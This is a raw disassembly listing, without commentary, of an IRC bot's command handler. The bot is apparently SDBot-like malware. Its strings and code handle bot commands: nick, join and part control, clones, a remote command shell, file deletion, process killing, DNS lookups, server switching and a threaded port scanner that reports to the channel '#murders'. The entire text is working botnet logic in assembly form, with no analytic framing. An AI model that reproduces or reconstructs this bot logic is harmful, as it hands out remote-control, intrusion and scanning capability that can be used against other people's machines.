sub_401C33 mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_407B7E ; --------------------------------------------------------------------------- loc_40A742: ; CODE XREF: sub_4078FA+2103j ; sub_4078FA+2117j mov edi, [ebp+var_A0] push 4 mov esi, offset dword_4263EC pop ecx xor eax, eax repe cmpsb jz loc_407B7B cmp [ebp+var_14], eax jz loc_40CFE2 mov esi, [ebp+var_10] push esi push [ebp+var_14] call sub_413920 pop ecx pop ecx mov ebx, eax push 7 inc esi pop ecx xor eax, eax mov edi, offset aRepeat ; "repeat" repe cmpsb lea eax, [ebp+var_2E0] push ebx jz short loc_40A7FC push [ebp+var_9C] push [ebp+var_A0] push [ebp+var_A4] push offset aSSSS ; "%s %s %s :%s" push eax call sub_412BB5 push 1FFh lea eax, [ebp+var_2E0] push eax push [ebp+arg_0] call sub_412C40 push ebx lea eax, [ebp+var_2E0] push offset aMainRepeatS ; "[MAIN]: Repeat: %s" push eax call sub_412BB5 lea eax, [ebp+var_2E0] push eax call sub_401C33 push [ebp+var_8] call sub_412F42 add esp, 38h test eax, eax jle loc_40CFE2 push [ebp+var_8] call sub_412F42 add eax, [ebp+arg_24] pop ecx jmp loc_407B7E ; --------------------------------------------------------------------------- loc_40A7FC: ; CODE XREF: sub_4078FA+2E8Dj push offset aMainRepeatNotA ; "[MAIN]: Repeat not allowed in command l"... jmp loc_40AD66 ; --------------------------------------------------------------------------- loc_40A806: ; CODE XREF: sub_4078FA+20DBj ; sub_4078FA+20EFj push [ebp+var_10] lea eax, [ebp+var_2E0] push offset aPartS_0 ; "PART %s" push eax call sub_412BB5 push [ebp+var_8] call sub_412F42 add esp, 10h loc_40A825: ; CODE XREF: sub_4078FA+2F98j test eax, eax jle loc_40CFE2 push [ebp+var_8] call sub_412F42 cmp eax, 1F4h pop ecx jge loc_40CFE2 loc_40A841: ; CODE XREF: sub_4078FA+37D1j lea eax, [ebp+var_2E0] push eax push offset aS_4 ; "%s\r\n" push [ebp+var_8] call sub_412F42 imul eax, 234h pop ecx push dword_434344[eax] call sub_404592 jmp loc_40C133 ; --------------------------------------------------------------------------- loc_40A86C: ; CODE XREF: sub_4078FA+20B3j ; sub_4078FA+20C7j push [ebp+ebx+var_98] lea eax, [ebp+var_2E0] push [ebp+var_10] push offset aJoinSS ; "JOIN %s %s" push eax call sub_412BB5 push [ebp+var_8] call sub_412F42 add esp, 14h jmp short loc_40A825 ; --------------------------------------------------------------------------- loc_40A894: ; CODE XREF: sub_4078FA+208Bj ; sub_4078FA+209Fj push [ebp+var_10] loc_40A897: ; DATA XREF: .data:0042BD1Co ; .data:0042BD60o ... lea eax, [ebp+var_2E0] push offset aNickS ; "NICK %s" push eax call sub_412BB5 mov esi, [ebp+var_8] push esi call sub_412F42 add esp, 10h test eax, eax jle loc_40CFE2 push esi call sub_412F42 cmp eax, 1F4h pop ecx jge loc_40CFE2 lea eax, [ebp+var_2E0] push eax push offset aS_4 ; "%s\r\n" push esi call sub_412F42 imul eax, 234h pop ecx push dword_434344[eax] call sub_404592 push [ebp+var_10] push esi push offset aCloneNickSS ; "[CLONE]: Nick (%s): %s" loc_40A8FB: ; CODE XREF: sub_4078FA+308Cj ; sub_4078FA+30FBj ... call sub_401CA7 jmp loc_40BDF5 ; --------------------------------------------------------------------------- loc_40A905: ; CODE XREF: sub_4078FA+2063j ; sub_4078FA+2077j cmp [ebp+var_14], 0 jz loc_40CFE2 push [ebp+var_10] push [ebp+var_14] call sub_413920 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_40A937 push esi lea eax, [ebp+var_2E0] push offset aModeS ; "MODE %s" push eax call sub_412BB5 add esp, 0Ch loc_40A937: ; CODE XREF: sub_4078FA+3026j mov edi, [ebp+var_8] push edi call sub_412F42 test eax, eax pop ecx jle loc_40CFE2 push edi call sub_412F42 cmp eax, 1F4h pop ecx jge loc_40CFE2 lea eax, [ebp+var_2E0] push eax push offset aS_4 ; "%s\r\n" push edi call sub_412F42 imul eax, 234h pop ecx push dword_434344[eax] call sub_404592 push esi push edi push offset aCloneModeSS ; "[CLONE]: Mode (%s): %s" jmp loc_40A8FB ; --------------------------------------------------------------------------- loc_40A98B: ; CODE XREF: sub_4078FA+203Bj ; sub_4078FA+204Fj cmp [ebp+var_14], 0 jz loc_40CFE2 push [ebp+var_10] push [ebp+var_14] call sub_413920 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40CFE2 mov edi, [ebp+var_8] push edi call sub_412F42 test eax, eax pop ecx jle loc_40CFE2 push edi call sub_412F42 cmp eax, 1F4h pop ecx jge loc_40CFE2 push esi push offset aS_4 ; "%s\r\n" push edi call sub_412F42 imul eax, 234h pop ecx push dword_434344[eax] call sub_404592 push esi push edi push offset aCloneRawSS ; "[CLONE]: Raw (%s): %s" jmp loc_40A8FB ; --------------------------------------------------------------------------- loc_40A9FA: ; CODE XREF: sub_4078FA+2013j ; sub_4078FA+2027j cmp [ebp+var_14], 0 jz loc_40CFE2 push [ebp+var_8] push [ebp+var_14] call sub_413920 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40CFE2 push esi push offset aModeS_0 ; "MODE %s\r\n" push [ebp+arg_4] call sub_404592 push esi push offset aMainModeChange ; "[MAIN]: Mode change: %s" jmp loc_40B2C5 ; --------------------------------------------------------------------------- loc_40AA34: ; CODE XREF: sub_4078FA+1FEBj ; sub_4078FA+1FFFj mov edi, [ebp+var_A0] push 4 mov esi, offset dword_4263EC pop ecx xor eax, eax repe cmpsb jz loc_407B7B push [ebp+var_10] push offset aPartS ; "PART %s\r\n" push [ebp+arg_4] call sub_404592 push [ebp+var_8] call sub_412F42 imul eax, 3E8h add esp, 10h push eax call ds:dword_41F000 push [ebp+ebx+var_98] push [ebp+var_10] push offset aJoinSS_0 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_404592 push offset aMainCycle_ ; "[MAIN]: Cycle." call sub_401C33 jmp loc_40B2CA ; --------------------------------------------------------------------------- loc_40AA9A: ; CODE XREF: sub_4078FA+1FC3j ; sub_4078FA+1FD7j cmp [ebp+var_14], 0 jz loc_40CFE2 lea edx, [eax+1] loc_40AAA7: ; CODE XREF: sub_4078FA+31B2j mov cl, [eax] inc eax test cl, cl jnz short loc_40AAA7 sub eax, edx mov ecx, eax mov eax, [ebp+var_8] lea esi, [eax+1] loc_40AAB8: ; CODE XREF: sub_4078FA+31C3j mov dl, [eax] inc eax test dl, dl jnz short loc_40AAB8 push [ebp+var_10] sub eax, esi add eax, ecx mov ecx, [ebp+var_14] lea eax, [eax+ecx+2] push eax call sub_413920 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40CFE2 push esi lea eax, [ebp+var_2E0] push offset dword_425A58 push eax call sub_412BB5 push 0 push 0 lea eax, [ebp+var_2E0] push eax push [ebp+var_8] push [ebp+arg_4] call sub_4045DD push esi push [ebp+var_8] push offset aMainActionSS_ ; "[MAIN]: Action: %s: %s." call sub_401CA7 add esp, 2Ch jmp loc_40CFE2 ; --------------------------------------------------------------------------- loc_40AB1D: ; CODE XREF: sub_4078FA+1F9Bj ; sub_4078FA+1FAFj cmp [ebp+var_14], 0 jz loc_40CFE2 lea edx, [eax+1] loc_40AB2A: ; CODE XREF: sub_4078FA+3235j mov cl, [eax] inc eax test cl, cl jnz short loc_40AB2A sub eax, edx mov ecx, eax mov eax, [ebp+var_8] lea esi, [eax+1] loc_40AB3B: ; CODE XREF: sub_4078FA+3246j mov dl, [eax] inc eax test dl, dl jnz short loc_40AB3B push [ebp+var_10] sub eax, esi add eax, ecx mov ecx, [ebp+var_14] lea eax, [eax+ecx+2] push eax call sub_413920 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40CFE2 push 0 push 0 push esi push [ebp+var_8] push [ebp+arg_4] call sub_4045DD push esi push [ebp+var_8] push offset aMainPrivmsgSS_ ; "[MAIN]: Privmsg: %s: %s." call sub_401CA7 loc_40AB80: ; CODE XREF: sub_4078FA+52BCj add esp, 20h jmp loc_40CFE2 ; --------------------------------------------------------------------------- loc_40AB88: ; CODE XREF: sub_4078FA+1F73j ; sub_4078FA+1F87j cmp [ebp+var_14], 0 jz loc_407B7B push [ebp+var_10] push [ebp+var_14] call sub_413920 test eax, eax pop ecx pop ecx jz loc_407B7B push eax push [ebp+var_8] call sub_401B23 push [ebp+var_8] lea eax, [ebp+var_2E0] push offset aMainAliasAdded ; "[MAIN]: Alias added: %s." push eax call sub_412BB5 add esp, 14h loc_40ABC7: ; CODE XREF: sub_4078FA+38BCj ; sub_4078FA+4C47j cmp [ebp+var_C], 0 jnz short loc_40ABEA push 0 push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD add esp, 14h loc_40ABEA: ; CODE XREF: sub_4078FA+32D1j ; sub_4078FA+4405j ... lea eax, [ebp+var_2E0] push eax call sub_401C33 jmp loc_40D1A1 ; --------------------------------------------------------------------------- loc_40ABFB: ; CODE XREF: sub_4078FA+1E33j ; sub_4078FA+1E47j push [ebp+var_8] push [ebp+arg_1C] call sub_413920 test eax, eax pop ecx pop ecx jz loc_40CFE2 mov ebx, [ebp+ebx+var_9C] test ebx, ebx jz short loc_40AC96 push ebx push [ebp+var_14] call sub_413920 mov esi, eax test esi, esi pop ecx pop ecx lea eax, [ebp+var_2E0] jz short loc_40AC84 push esi push [ebp+var_9C] push [ebp+var_A0] push [ebp+var_A4] push offset aSSSS ; "%s %s %s :%s" push eax call sub_412BB5 push 1FFh lea eax, [ebp+var_2E0] push eax push [ebp+arg_0] call sub_412C40 push esi push [ebp+var_8] lea eax, [ebp+var_2E0] push offset aMainGethostSCo ; "[MAIN]: Gethost: %s, Command: %s" push eax call sub_412BB5 add esp, 34h inc [ebp+arg_24] jmp loc_40AE37 ; --------------------------------------------------------------------------- loc_40AC84: ; CODE XREF: sub_4078FA+3336j push offset aMainUnableToEx ; "[MAIN]: Unable to extract Gethost comma"... push eax call sub_412BB5 pop ecx pop ecx jmp loc_40AE37 ; --------------------------------------------------------------------------- loc_40AC96: ; CODE XREF: sub_4078FA+331Fj push 0 push [ebp+var_4] lea eax, [ebp+var_2E0] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_410086 add esp, 0Ch push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD push [ebp+var_8] lea eax, [ebp+var_2E0] push offset aMainGethostS_ ; "[MAIN]: Gethost: %s." push 200h push eax call sub_412E0D add esp, 24h jmp loc_40AE37 ; --------------------------------------------------------------------------- loc_40ACE0: ; CODE XREF: sub_4078FA+1B62j ; sub_4078FA+1B76j push offset aR ; "r" push [ebp+var_8] call sub_413393 mov edi, eax test edi, edi pop ecx pop ecx lea eax, [ebp+var_2E0] jz short loc_40AD5E push edi mov esi, 200h push esi push eax call sub_4142F5 add esp, 0Ch jmp short loc_40AD38 ; --------------------------------------------------------------------------- loc_40AD0D: ; CODE XREF: sub_4078FA+3440j push 1 push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD push edi lea eax, [ebp+var_2E0] push esi push eax call sub_4142F5 add esp, 20h loc_40AD38: ; CODE XREF: sub_4078FA+3411j test eax, eax jnz short loc_40AD0D push edi call sub_412F93 push [ebp+var_8] lea eax, [ebp+var_2E0] push offset aMainReadFileCo ; "[MAIN]: Read file complete: %s" push eax call sub_412BB5 add esp, 10h jmp loc_40AE37 ; --------------------------------------------------------------------------- loc_40AD5E: ; CODE XREF: sub_4078FA+33FFj push [ebp+var_8] push offset aMainReadFileFa ; "[MAIN]: Read file failed: %s" loc_40AD66: ; CODE XREF: sub_4078FA+2F07j push eax call sub_412BB5 add esp, 0Ch jmp loc_40AE14 ; --------------------------------------------------------------------------- loc_40AD74: ; CODE XREF: sub_4078FA+1B3Aj ; sub_4078FA+1B4Ej cmp [ebp+var_14], 0 jz loc_40CFE2 push [ebp+var_8] push [ebp+var_14] call sub_413920 mov ebx, eax test ebx, ebx pop ecx pop ecx jz loc_40CFE2 mov edi, ebx dec edi loc_40AD98: ; CODE XREF: sub_4078FA+34A4j mov al, [edi+1] inc edi test al, al jnz short loc_40AD98 mov esi, offset asc_420328 ; "\n" push ebx movsw call sub_40DB6D test eax, eax pop ecx lea eax, [ebp+var_2E0] jnz short loc_40ADBF push offset aCmdErrorSendin ; "[CMD]: Error sending to remote shell." jmp short loc_40AE0C ; --------------------------------------------------------------------------- loc_40ADBF: ; CODE XREF: sub_4078FA+34BCj push ebx push offset aCmdCommandsS ; "[CMD]: Commands: %s" push eax call sub_412BB5 add esp, 0Ch jmp short loc_40AE37 ; --------------------------------------------------------------------------- loc_40ADD0: ; CODE XREF: sub_4078FA+1B12j ; sub_4078FA+1B26j cmp [ebp+var_14], 0 jz loc_40CFE2 push [ebp+var_8] push [ebp+var_14] call sub_413920 test eax, eax pop ecx pop ecx jz loc_40CFE2 push eax call sub_4057CD test eax, eax pop ecx lea eax, [ebp+var_2E0] jnz short loc_40AE07 push offset aMircClientNotO ; "[mIRC]: Client not open." jmp short loc_40AE0C ; --------------------------------------------------------------------------- loc_40AE07: ; CODE XREF: sub_4078FA+3504j push offset aMircCommandSen ; "[mIRC]: Command sent." loc_40AE0C: ; CODE XREF: sub_4078FA+1C34j ; sub_4078FA+1C3Ej ... push eax call sub_412BB5 pop ecx pop ecx loc_40AE14: ; CODE XREF: sub_4078FA+1BAFj ; sub_4078FA+1C0Cj ... cmp [ebp+var_C], 0 jnz short loc_40AE37 push 0 push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD add esp, 14h loc_40AE37: ; CODE XREF: sub_4078FA+3385j ; sub_4078FA+3397j ... lea eax, [ebp+var_2E0] push eax call sub_401C33 pop ecx jmp loc_40CFE2 ; --------------------------------------------------------------------------- loc_40AE49: ; CODE XREF: sub_4078FA+1AEAj ; sub_4078FA+1AFEj push 0 push [ebp+var_9C] push [ebp+arg_4] push [ebp+var_8] call sub_4030C4 push [ebp+var_8] push offset aFileListS ; "[FILE]: List: %s" jmp loc_40A8FB ; --------------------------------------------------------------------------- loc_40AE69: ; CODE XREF: sub_4078FA+1AC2j ; sub_4078FA+1AD6j push 20h push [ebp+var_8] call ds:dword_41F0A0 push [ebp+var_8] call ds:dword_41F0B8 test eax, eax jz short loc_40AE8B push [ebp+var_8] push offset aFileDeletedS_0 ; "[FILE]: Deleted '%s'." jmp short loc_40AE96 ; --------------------------------------------------------------------------- loc_40AE8B: ; CODE XREF: sub_4078FA+3585j push offset aFile ; "[FILE]:" call sub_405708 push eax loc_40AE96: ; CODE XREF: sub_4078FA+358Fj lea eax, [ebp+var_2E0] push 200h push eax call sub_412E0D loc_40AEA7: ; CODE XREF: sub_4078FA+36F0j add esp, 10h loc_40AEAA: ; CODE XREF: sub_4078FA+3708j ; sub_4078FA+4ABCj cmp [ebp+var_C], 0 jnz loc_409015 push 0 jmp loc_408FFA ; --------------------------------------------------------------------------- loc_40AEBB: ; CODE XREF: sub_4078FA+1A9Aj ; sub_4078FA+1AAEj push [ebp+var_8] call sub_412F42 push eax call sub_4074C6 xor esi, esi pop ecx inc esi pop ecx push [ebp+var_8] cmp eax, esi lea eax, [ebp+var_2E0] jnz short loc_40AEE2 push offset aProcProcessKil ; "[PROC]: Process killed ID: %s" jmp short loc_40AEE7 ; --------------------------------------------------------------------------- loc_40AEE2: ; CODE XREF: sub_4078FA+35DFj push offset aProcFailedToTe ; "[PROC]: Failed to terminate process ID:"... loc_40AEE7: ; CODE XREF: sub_4078FA+35E6j push eax call sub_412BB5 add esp, 0Ch cmp [ebp+var_C], 0 jnz loc_409018 push 0 push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD add esp, 14h jmp loc_409018 ; --------------------------------------------------------------------------- loc_40AF1C: ; CODE XREF: sub_4078FA+1A72j ; sub_4078FA+1A86j push 1 xor esi, esi push esi push esi push [ebp+var_8] push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_4070E8 add esp, 1Ch cmp eax, 1 jnz short loc_40AF55 push [ebp+var_8] push offset aProcProcessK_0 ; "[PROC]: Process killed & deleted: %s" loc_40AF46: ; CODE XREF: sub_4078FA+299Bj lea eax, [ebp+var_2E0] loc_40AF4C: ; CODE XREF: sub_4078FA+2BCFj ; sub_4078FA+3694j ... push eax call sub_412BB5 add esp, 0Ch loc_40AF55: ; CODE XREF: sub_4078FA+29B0j ; sub_4078FA+2B73j ... cmp [ebp+var_C], esi jnz loc_409015 push esi jmp loc_408FFA ; --------------------------------------------------------------------------- loc_40AF64: ; CODE XREF: sub_4078FA+1A4Aj ; sub_4078FA+1A5Ej xor esi, esi push esi push esi push esi push [ebp+var_8] push [ebp+var_4] push esi push [ebp+arg_4] call sub_4070E8 add esp, 1Ch push [ebp+var_8] cmp eax, 1 lea eax, [ebp+var_2E0] jnz short loc_40AF90 push offset aProcProcessK_1 ; "[PROC]: Process killed: %s" jmp short loc_40AF4C ; --------------------------------------------------------------------------- loc_40AF90: ; CODE XREF: sub_4078FA+368Dj push offset aProcFailedTo_0 ; "[PROC]: Failed to terminate process: %s"... jmp short loc_40AF4C ; --------------------------------------------------------------------------- loc_40AF97: ; CODE XREF: sub_4078FA+1A22j ; sub_4078FA+1A36j mov esi, [ebp+var_8] push esi call dword_433514 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40AFBF push 2 push 4 lea eax, [ebp+arg_0] push eax call dword_433590 test eax, eax jz short loc_40AFEF push dword ptr [eax] jmp short loc_40AFD8 ; --------------------------------------------------------------------------- loc_40AFBF: ; CODE XREF: sub_4078FA+36ADj push esi call dword_433500 test eax, eax jz short loc_40AFEF mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_433520 push eax loc_40AFD8: ; CODE XREF: sub_4078FA+36C3j push esi lea eax, [ebp+var_2E0] push offset aDnsLookupSS_ ; "[DNS]: Lookup: %s -> %s." push eax call sub_412BB5 jmp loc_40AEA7 ; --------------------------------------------------------------------------- loc_40AFEF: ; CODE XREF: sub_4078FA+36BFj ; sub_4078FA+36CEj lea eax, [ebp+var_2E0] push offset aDnsCouldnTReso ; "[DNS]: Couldn't resolve hostname." push eax call sub_412BB5 pop ecx pop ecx jmp loc_40AEAA ; --------------------------------------------------------------------------- loc_40B007: ; CODE XREF: sub_4078FA+19FAj ; sub_4078FA+1A0Ej push 7Fh push [ebp+var_8] push [ebp+arg_14] call sub_412C40 push [ebp+var_8] lea eax, [ebp+var_2E0] push offset aMainServerChan ; "[MAIN]: Server changed to: '%s'." push eax call sub_412BB5 add esp, 18h jmp loc_40C47E ; --------------------------------------------------------------------------- loc_40B030: ; CODE XREF: sub_4078FA+19D2j ; sub_4078FA+19E6j push 5 xor esi, esi push esi push esi push [ebp+var_8] push offset aOpen ; "open" push esi call dword_4335A8 push [ebp+var_8] test eax, eax lea eax, [ebp+var_2E0] jz short loc_40B05C push offset aShellFileOpene ; "[SHELL]: File opened: %s" jmp loc_40AF4C ; --------------------------------------------------------------------------- loc_40B05C: ; CODE XREF: sub_4078FA+3756j push offset aShellCouldnTOp ; "[SHELL]: Couldn't open file: %s" jmp loc_40AF4C ; --------------------------------------------------------------------------- loc_40B066: ; CODE XREF: sub_4078FA+19AAj ; sub_4078FA+19BEj mov eax, [ebp+var_8] mov cl, [eax] mov byte_42AE5C, cl movsx eax, byte ptr [eax] push eax push offset aMainPrefixChan ; "[MAIN]: Prefix changed to: '%c'." jmp loc_40C46F ; --------------------------------------------------------------------------- loc_40B07F: ; CODE XREF: sub_4078FA+1982j ; sub_4078FA+1996j push [ebp+var_8] call sub_412F42 test eax, eax pop ecx jle loc_40CFE2 push [ebp+var_8] call sub_412F42 cmp eax, 1F4h pop ecx jge loc_40CFE2 push 0 push 0 lea eax, [ebp+var_B8] push 2 push eax call sub_40E7B0 push eax lea eax, [ebp+var_2E0] push offset aNickS ; "NICK %s" push eax call sub_412BB5 add esp, 1Ch jmp loc_40A841 ; --------------------------------------------------------------------------- loc_40B0D0: ; CODE XREF: sub_4078FA+195Aj ; sub_4078FA+196Ej mov edi, [ebp+var_8] push edi call sub_412F42 test eax, eax pop ecx jle loc_407B7B push edi call sub_412F42 mov esi, 1F4h cmp eax, esi pop ecx jge loc_407B7B push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_412F42 imul eax, 234h pop ecx push dword_434344[eax] call sub_404592 pop ecx pop ecx push esi call ds:dword_41F000 push edi call sub_412F42 imul eax, 234h pop ecx push dword_434344[eax] call dword_4335AC push [ebp+var_18] push edi call sub_412F42 imul eax, 234h pop ecx push dword_43434C[eax] call ds:dword_41F0C8 push edi call sub_412F42 imul eax, 234h and dword_43434C[eax], 0 push edi call sub_412F42 imul eax, 234h and byte ptr dword_434138[eax], 0 pop ecx pop ecx jmp loc_407B7B ; --------------------------------------------------------------------------- loc_40B17E: ; CODE XREF: sub_4078FA+1932j ; sub_4078FA+1946j mov edi, [ebp+var_8] push 4 mov esi, offset aAll ; "all" pop ecx xor eax, eax repe cmpsb jnz short loc_40B1BB call sub_41105B test eax, eax jle short loc_40B1A3 push eax push offset aThreadsStopped ; "[THREADS]: Stopped: %d thread(s)." jmp loc_40C532 ; --------------------------------------------------------------------------- loc_40B1A3: ; CODE XREF: sub_4078FA+389Cj push offset aThreadsNoActiv ; "[THREADS]: No active threads found." loc_40B1A8: ; CODE XREF: sub_4078FA+420Ej ; sub_4078FA+422Dj ... lea eax, [ebp+var_2E0] push eax call sub_412BB5 pop ecx pop ecx jmp loc_40ABC7 ; --------------------------------------------------------------------------- loc_40B1BB: ; CODE XREF: sub_4078FA+3893j mov edi, [ebp+var_1C] jmp short loc_40B22D ; --------------------------------------------------------------------------- loc_40B1C0: ; CODE XREF: sub_4078FA+3937j mov esi, [ebp+edi*4+var_A4] test esi, esi jz loc_407B7B push esi call sub_412F42 push eax call sub_410FD3 pop ecx pop ecx test eax, eax push esi lea eax, [ebp+var_2E0] jz short loc_40B1EF push offset aThreadsKilledT ; "[THREADS]: Killed thread: %s." jmp short loc_40B1F4 ; --------------------------------------------------------------------------- loc_40B1EF: ; CODE XREF: sub_4078FA+38ECj push offset aThreadsFailedT ; "[THREADS]: Failed to kill thread: %s." loc_40B1F4: ; CODE XREF: sub_4078FA+38F3j push eax call sub_412BB5 add esp, 0Ch cmp [ebp+var_C], 0 jnz short loc_40B220 push 0 push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD add esp, 14h loc_40B220: ; CODE XREF: sub_4078FA+3907j lea eax, [ebp+var_2E0] push eax call sub_401C33 pop ecx loc_40B22D: ; CODE XREF: sub_4078FA+38C4j inc edi cmp edi, 20h jb short loc_40B1C0 jmp loc_407B7B ; --------------------------------------------------------------------------- loc_40B238: ; CODE XREF: sub_4078FA+190Aj ; sub_4078FA+191Ej cmp [ebp+var_14], 0 jz loc_40CFE2 push [ebp+var_8] push [ebp+var_14] call sub_413920 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40CFE2 push esi push offset aS_4 ; "%s\r\n" push [ebp+arg_4] call sub_404592 push esi push offset aMainIrcRawS_ ; "[MAIN]: IRC Raw: %s." jmp short loc_40B2C5 ; --------------------------------------------------------------------------- loc_40B26F: ; CODE XREF: sub_4078FA+18E2j ; sub_4078FA+18F6j push [ebp+var_8] push offset aPartS ; "PART %s\r\n" push [ebp+arg_4] call sub_404592 push [ebp+var_8] push offset aMainPartedChan ; "[MAIN]: Parted channel: '%s'." jmp short loc_40B2C5 ; --------------------------------------------------------------------------- loc_40B289: ; CODE XREF: sub_4078FA+18BAj ; sub_4078FA+18CEj push [ebp+ebx+var_9C] push [ebp+var_8] push offset aJoinSS_0 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_404592 push [ebp+var_8] push offset aMainJoinedCh_0 ; "[MAIN]: Joined channel: '%s'." jmp loc_40A8FB ; --------------------------------------------------------------------------- loc_40B2AD: ; CODE XREF: sub_4078FA+1892j ; sub_4078FA+18A6j push [ebp+var_8] push offset aNickS_0 ; "NICK %s\r\n" push [ebp+arg_4] call sub_404592 push [ebp+var_8] push offset aMainNickChange ; "[MAIN]: Nick changed to: '%s'." loc_40B2C5: ; CODE XREF: sub_4078FA+3135j ; sub_4078FA+3973j ... call sub_401CA7 loc_40B2CA: ; CODE XREF: sub_4078FA+319Bj add esp, 14h jmp loc_40CFE2 ; --------------------------------------------------------------------------- loc_40B2D2: ; CODE XREF: sub_4078FA+1858j ; sub_4078FA+186Cj mov cl, byte_42A1B2 and [ebp+arg_0], 0 test cl, cl mov edx, offset byte_42A1B2 jz loc_407B7B mov eax, edx loc_40B2EB: ; CODE XREF: sub_4078FA+39FAj inc [ebp+arg_0] add eax, 0Bh cmp byte ptr [eax], 0 jnz short loc_40B2EB test cl, cl jz loc_407B7B mov [ebp+var_1C], edx loc_40B301: ; CODE XREF: sub_4078FA+3CDEj push 9 call sub_4110DA pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 258h jle short loc_40B351 push ecx lea eax, [ebp+var_2E0] push offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"... push eax call sub_412BB5 push 0 push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD add esp, 20h jmp loc_40B5CE ; --------------------------------------------------------------------------- loc_40B351: ; CODE XREF: sub_4078FA+3A21j or [ebp+var_4C8], 0FFFFFFFFh xor esi, esi cmp dword_42A068, esi mov [ebp+var_4CC], 0C8h mov [ebp+var_4E0], 5 mov [ebp+var_4DC], esi mov [ebp+arg_0], esi jz short loc_40B3E4 mov edx, [ebp+var_1C] add edx, 0FFFFFFF6h mov edi, offset dword_42A068 loc_40B38A: ; CODE XREF: sub_4078FA+3ACCj mov esi, edx lea eax, [edi-28h] loc_40B38F: ; CODE XREF: sub_4078FA+3AB1j mov bl, [eax] mov cl, bl cmp bl, [esi] jnz short loc_40B3B3 test cl, cl jz short loc_40B3AD mov bl, [eax+1] mov cl, bl cmp bl, [esi+1] jnz short loc_40B3B3 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_40B38F loc_40B3AD: ; CODE XREF: sub_4078FA+3A9Fj xor esi, esi xor eax, eax jmp short loc_40B3BA ; --------------------------------------------------------------------------- loc_40B3B3: ; CODE XREF: sub_4078FA+3A9Bj ; sub_4078FA+3AA9j sbb eax, eax sbb eax, 0FFFFFFFFh xor esi, esi loc_40B3BA: ; CODE XREF: sub_4078FA+3AB7j cmp eax, esi jz short loc_40B3CA inc [ebp+arg_0] add edi, 3Ch cmp [edi], esi jnz short loc_40B38A jmp short loc_40B3E4 ; --------------------------------------------------------------------------- loc_40B3CA: ; CODE XREF: sub_4078FA+3AC2j mov eax, [ebp+arg_0] mov ecx, eax imul ecx, 3Ch mov ecx, dword_42A068[ecx] mov [ebp+var_4E4], ecx mov [ebp+var_4C8], eax loc_40B3E4: ; CODE XREF: sub_4078FA+3A83j ; sub_4078FA+3ACEj cmp [ebp+var_4E4], esi jz loc_40B5F5 push 10h pop esi lea eax, [ebp+var_A8] push eax lea eax, [ebp+var_C8] push eax push [ebp+arg_4] mov [ebp+var_A8], esi call dword_433418 mov al, [ebp+var_44B] neg al push esi sbb eax, eax and eax, 0FFFF0100h add eax, 0FFFFh and [ebp+var_C4], eax push [ebp+var_C4] call dword_433520 push eax lea eax, [ebp+var_67C] push eax call sub_412C40 xor eax, eax cmp [ebp+var_44B], al push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_67C] push eax call sub_412C10 add esp, 14h xor bl, bl test esi, esi jle short loc_40B48A loc_40B46A: ; CODE XREF: sub_4078FA+3B8Ej test eax, eax jz short loc_40B48A mov byte ptr [eax], 78h lea eax, [ebp+var_67C] push 30h push eax call sub_412C10 pop ecx inc bl pop ecx movsx ecx, bl cmp ecx, esi jl short loc_40B46A loc_40B48A: ; CODE XREF: sub_4078FA+3B6Ej ; sub_4078FA+3B72j mov eax, [ebp+arg_4] push [ebp+var_9C] mov [ebp+var_4E8], eax mov eax, [ebp+var_4] mov [ebp+var_4C0], eax mov eax, [ebp+var_C] mov [ebp+var_4BC], eax mov ebx, 80h lea eax, [ebp+var_5E8] push ebx push eax mov [ebp+var_4B8], 1 call sub_412E0D xor ecx, ecx add esp, 0Ch mov eax, offset aMurders ; "#murders" inc ecx mov edi, 41FA76h mov esi, eax xor edx, edx repe cmpsb jz short loc_40B4F2 push eax lea eax, [ebp+var_568] push ebx push eax call sub_412E0D add esp, 0Ch jmp short loc_40B4F9 ; --------------------------------------------------------------------------- loc_40B4F2: ; CODE XREF: sub_4078FA+3BE3j and [ebp+var_568], 0 loc_40B4F9: ; CODE XREF: sub_4078FA+3BF6j xor esi, esi cmp [ebp+var_4B8], esi mov eax, offset aRandom ; "Random" jnz short loc_40B50D mov eax, offset aSequential ; "Sequential" loc_40B50D: ; CODE XREF: sub_4078FA+3C0Cj push [ebp+var_4CC] lea ecx, [ebp+var_67C] push [ebp+var_4DC] push [ebp+var_4E0] push [ebp+var_4E4] push ecx push eax lea eax, [ebp+var_2E0] push offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d w"... push eax call sub_412BB5 push esi lea eax, [ebp+var_2E0] push 9 push eax call sub_410EEA add esp, 2Ch mov [ebp+var_4D8], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_67C] push eax push offset sub_4018D1 push esi push esi call ds:dword_41F00C mov ecx, [ebp+var_4D8] imul ecx, 234h cmp eax, esi mov dword_43434C[ecx], eax jnz short loc_40B5EB call ds:dword_41F008 push eax 